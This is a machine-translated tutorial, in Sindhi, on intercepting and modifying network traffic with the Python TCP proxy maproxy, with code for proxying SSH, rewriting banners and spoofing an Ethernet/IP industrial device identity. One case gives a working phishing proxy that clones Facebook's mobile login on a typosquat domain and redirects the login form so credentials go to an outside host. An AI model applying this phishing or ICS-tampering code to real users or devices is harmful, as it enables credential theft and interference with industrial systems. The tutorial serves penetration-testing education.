پرواز تي نيٽ ورڪ ڊيٽا کي پروسيس ڪريو

مضمون جو ترجمو ڪورس جي شروعات جي موقعي تي تيار ڪيو ويو ”پينٽسٽ. دخول جاچ مشق".

پرواز تي نيٽ ورڪ ڊيٽا کي پروسيس ڪريو

سمجھاڻي

حفاظتي جائزي جا مختلف قسم، باقاعده دخول جي جاچ ۽ ريڊ ٽيم جي عملن کان وٺي هيڪنگ IoT/ICS ڊوائيسز ۽ SCADA تائين، بائنري نيٽ ورڪ پروٽوڪول سان ڪم ڪرڻ شامل آهن، اهو آهي، بنيادي طور تي ڪلائنٽ ۽ ٽارگيٽ جي وچ ۾ نيٽ ورڪ ڊيٽا کي مداخلت ۽ تبديل ڪرڻ. نيٽ ورڪ ٽريفڪ کي سنوارڻ ڪو ڏکيو ڪم ناهي ڇو ته اسان وٽ Wireshark، Tcpdump يا Scapy جهڙا اوزار آهن، پر ترميم ڪرڻ هڪ وڌيڪ محنتي ڪم لڳي ٿو، ڇاڪاڻ ته اسان کي نيٽ ورڪ ڊيٽا پڙهڻ، ان کي فلٽر ڪرڻ، تبديل ڪرڻ لاءِ ڪنهن قسم جي انٽرفيس جي ضرورت پوندي. ان کي اڏامي ۽ ان کي واپس موڪليو ٽارگيٽ ميزبان کي لڳ ڀڳ حقيقي وقت ۾. ان کان علاوه، اهو مثالي هوندو جيڪڏهن اهڙو اوزار خودڪار طريقي سان ڪيترن ئي متوازي ڪنيڪشن سان ڪم ڪري سگهي ٿو ۽ اسڪرپٽ استعمال ڪندي حسب ضرورت هجي.

هڪ ڏينهن مون هڪ اوزار ڳولي لڌو maproxy، دستاويز جلدي مون کي واضح ڪيو ته maproxy - بس جيڪو مون کي گهرجي. هي هڪ بلڪل سادو، ورسٽائل ۽ آساني سان ترتيب ڏيڻ وارو TCP پراکسي آهي. مون هن اوزار کي ڪيترن ئي ڪافي پيچيده ايپليڪيشنن تي آزمايو، بشمول ICS ڊوائيسز (جيڪي تمام گهڻا پيڪيٽ ٺاهيندا آهن) اهو ڏسڻ لاءِ ته ڇا اهو ڪيترن ئي متوازي ڪنيڪشنن کي سنڀالي سگهي ٿو، ۽ اوزار چڱي طرح ڪم ڪيو.

اهو آرٽيڪل توهان کي متعارف ڪرايو ويندو پروسيسنگ نيٽ ورڪ ڊيٽا کي پرواز تي استعمال ڪندي maproxy.

جو جائزو

ساز maproxy Tornado تي مبني آهي، هڪ مشهور ۽ پختو غير مطابقت رکندڙ نيٽ ورڪنگ فريم ورڪ Python ۾.

عام طور تي، اهو ڪيترن ئي طريقن ۾ ڪم ڪري سگهي ٿو:

  • TCP:TCP - اڻ ڳڻي TCP ڪنيڪشن؛
  • TCP:SSL и SSL:TCP - هڪ طرفي انڪرپشن سان؛
  • SSL:SSL - ٻه طرفي انڪرپشن.

اهو هڪ لائبريري طور اچي ٿو. جلدي شروع ڪرڻ لاءِ، توھان استعمال ڪري سگھوٿا مثال فائلون جيڪي مکيه کي عڪاسي ڪن ٿيون لائبريري جا ڪم:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

ڪيس 1 - سادي ٻه طرفي پراکسي

تي مبني tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

ھونئن جي ProxyServer() ٻه دلائل وٺي ٿو - ڪنيڪشن جو مقام ۽ ٽارگيٽ پورٽ. server.listen() هڪ دليل وٺندو آهي - بندرگاهه ايندڙ ڪنيڪشن کي ٻڌڻ لاءِ.

اسڪرپٽ تي عمل ڪرڻ:

# python tcp2tcp.py

ٽيسٽ کي هلائڻ لاءِ، اسان پنهنجي پراڪسي اسڪرپٽ ذريعي مقامي SSH سرور سان ڳنڍڻ وارا آهيون، جيڪو ٻڌي ٿو 2222/tcp بندرگاهه ۽ معياري بندرگاهه سان ڳنڍي ٿو 22/tcp SSH سرور:

پرواز تي نيٽ ورڪ ڊيٽا کي پروسيس ڪريو

خوش آمديد بينر توهان کي خبر ڏئي ٿو ته اسان جي مثال جي اسڪرپٽ ڪاميابي سان نيٽ ورڪ ٽرئفڪ کي پراکسي ڪيو آهي.

ڪيس 2 - ڊيٽا جي تبديلي

ٻيو ڊيمو اسڪرپٽ logging_proxy.py نيٽ ورڪ ڊيٽا سان رابطي لاء مثالي. فائل ۾ تبصرا بيان ڪن ٿا ڪلاس جي طريقن کي جيڪي توھان تبديل ڪري سگھو ٿا توھان جو مقصد حاصل ڪرڻ لاءِ:

پرواز تي نيٽ ورڪ ڊيٽا کي پروسيس ڪريو

سڀ کان وڌيڪ دلچسپ شيء هتي آهي:

  • on_c2p_done_read - ڪلائنٽ کان سرور تائين رستي ۾ ڊيٽا کي روڪڻ لاء؛
  • on_p2s_done_read - ڦيرايو.

اچو ته SSH بينر کي تبديل ڪرڻ جي ڪوشش ڪريو ته سرور ڪلائنٽ ڏانهن موٽائي:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

رسم الخط تي عمل ڪريو:

پرواز تي نيٽ ورڪ ڊيٽا کي پروسيس ڪريو

جئين توهان ڏسي سگهو ٿا، ڪلائنٽ گمراهه ڪيو ويو ڇاڪاڻ ته هن لاء SSH سرور جو نالو تبديل ڪيو ويو «DumnySSH».

پرواز تي نيٽ ورڪ ڊيٽا کي پروسيس ڪريو

ڪيس 3 - سادي فشنگ ويب پيج

هن اوزار کي استعمال ڪرڻ لاء لامحدود طريقا آهن. هن ڀيري اچو ته ڪجهه وڌيڪ عملي تي ڌيان ڏيون ريڊ ٽيم آپريشن جي پاسي کان. اچو ته لينڊنگ پيج کي نقل ڪريون m.facebook.com ۽ عمدي ٽائپو سان ڪسٽم ڊومين استعمال ڪريو، مثال طور، m.facebok.com. نمائش جي مقصدن لاء، اچو ته صرف اهو فرض ڪريو ته ڊومين اسان جي طرفان رجسٽر ٿيل آهي.

اسان اسان جي متاثرين سان پراکسي ۽ ايس ايس ايل اسٽريم سان Facebook سرور (31.13.81.36). ھن مثال کي ڪم ڪرڻ لاءِ، اسان کي HTTP ھوسٽ ھيڊر کي مٽائڻو پوندو ۽ صحيح ھوسٽ جو نالو داخل ڪرڻو پوندو، ۽ اسان جوابي ڪمپريشن کي به غير فعال ڪنداسين ته جيئن اسان آساني سان مواد تائين رسائي ڪري سگھون. آخرڪار اسان HTML فارم کي تبديل ڪنداسين ته جيئن لاگ ان سندون اسان ڏانهن موڪليا وڃن بجاءِ Facebook جي سرورز:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/sd/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

آخرڪار:

پرواز تي نيٽ ورڪ ڊيٽا کي پروسيس ڪريو

جئين توهان ڏسي سگهو ٿا، اسان ڪاميابي سان اصل سائيٽ کي تبديل ڪرڻ جي قابل هئا.

ڪيس 4 - پورٽنگ ايٿرنيٽ/IP

مان ڪافي عرصي کان صنعتي ڊوائيسز ۽ سافٽ ويئر (ICS/SCADA) سان ڊيل ڪري رهيو آهيان، جهڙوڪ پروگراميبل ڪنٽرولرز (PLC)، I/O ماڊلز، ڊرائيو، رلي، ڏاڪڻ پروگرامنگ ماحول ۽ ٻيا ڪيترائي. هي ڪيس انهن لاءِ آهي جيڪي صنعتي شيون پسند ڪن ٿا. هيڪنگ اهڙن حلن ۾ شامل آهي فعال طور تي نيٽ ورڪ پروٽوڪول سان راند ڪرڻ. هيٺ ڏنل مثال ۾، مان ڏيکارڻ چاهيان ٿو ته توهان ICS/SCADA نيٽ ورڪ ٽرئفڪ کي ڪيئن تبديل ڪري سگهو ٿا.

هن لاء توهان کي هيٺين جي ضرورت پوندي:

  • نيٽ ورڪ سنيفر، مثال طور، Wireshark؛
  • Ethernet/IP يا صرف هڪ SIP ڊوائيس، توهان ان کي استعمال ڪندي ڳولي سگهو ٿا Shodan سروس؛
  • اسان جي اسڪرپٽ تي ٻڌل آهي maproxy.

پهرين، اچو ته ڏسون ته CIP (Common Industrial Protocol) مان هڪ عام سڃاڻپ جو جواب ڪهڙو نظر اچي ٿو:

پرواز تي نيٽ ورڪ ڊيٽا کي پروسيس ڪريو

ڊوائيس جي سڃاڻپ Ethernet/IP پروٽوڪول استعمال ڪندي مڪمل ڪئي وئي آهي، جيڪو صنعتي ايٿرنيٽ پروٽوڪول جو هڪ بهتر ورزن آهي جيڪو ڪنٽرول پروٽوڪول کي لپي ٿو جهڙوڪ CIP. اسان نمايان ٿيل ID جو نالو تبديل ڪرڻ وارا آھيون جيڪو اسڪرين شاٽ ۾ نظر اچي ٿو NI-IndComm Ethernet لاءِ اسان جي پراکسي اسڪرپٽ استعمال ڪندي. اسان اسڪرپٽ ٻيهر استعمال ڪري سگهون ٿا logging_proxy.py ۽ ساڳيءَ طرح ڪلاس جي طريقي کي تبديل ڪريو on_p2s_done_read، ڇاڪاڻ ته اسان چاهيون ٿا ته هڪ مختلف سڃاڻپ جو نالو کلائنٽ تي ظاهر ٿئي.

ڪوڊ

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

لازمي طور تي، اسان ڊوائيس جي سڃاڻپ لاء ٻه ڀيرا پڇيو، ٻيو جواب اصل هڪ هو، ۽ پهريون هڪ اڏامي تي تبديل ڪيو ويو.

۽ آخر ۾

منهنجي خيال ۾ maproxy هڪ آسان ۽ سادو اوزار، جيڪو پڻ Python ۾ لکيل آهي، تنهن ڪري مان سمجهان ٿو ته توهان پڻ ان کي استعمال ڪندي فائدو حاصل ڪري سگهو ٿا. يقينن، نيٽورڪ ڊيٽا کي پروسيسنگ ۽ تبديل ڪرڻ لاء وڌيڪ پيچيده اوزار آهن، پر انهن کي پڻ وڌيڪ ڌيان ڏيڻ جي ضرورت آهي ۽ عام طور تي هڪ مخصوص استعمال جي صورت ۾ ٺاهيا ويا آهن، مثال طور. مورينا, ماڊلشڪا يا برائيگينڪس ٽئين سان ملندڙ ڪيسن لاء، يا صوفا آخري ڪيس لاء. هڪ طريقو يا ٻيو، مدد سان maproxy توھان جلدي پنھنجي خيالن تي عمل ڪري سگھوٿا نيٽ ورڪ ڊيٽا کي مداخلت ڪرڻ لاءِ، ڇاڪاڻ ته مثال اسڪرپٽ بلڪل واضح آھن.

Windows AD ۾ چڪاس جي تصديق واري ميڪانيزم

جو ذريعو: www.habr.com

تبصرو شامل ڪريو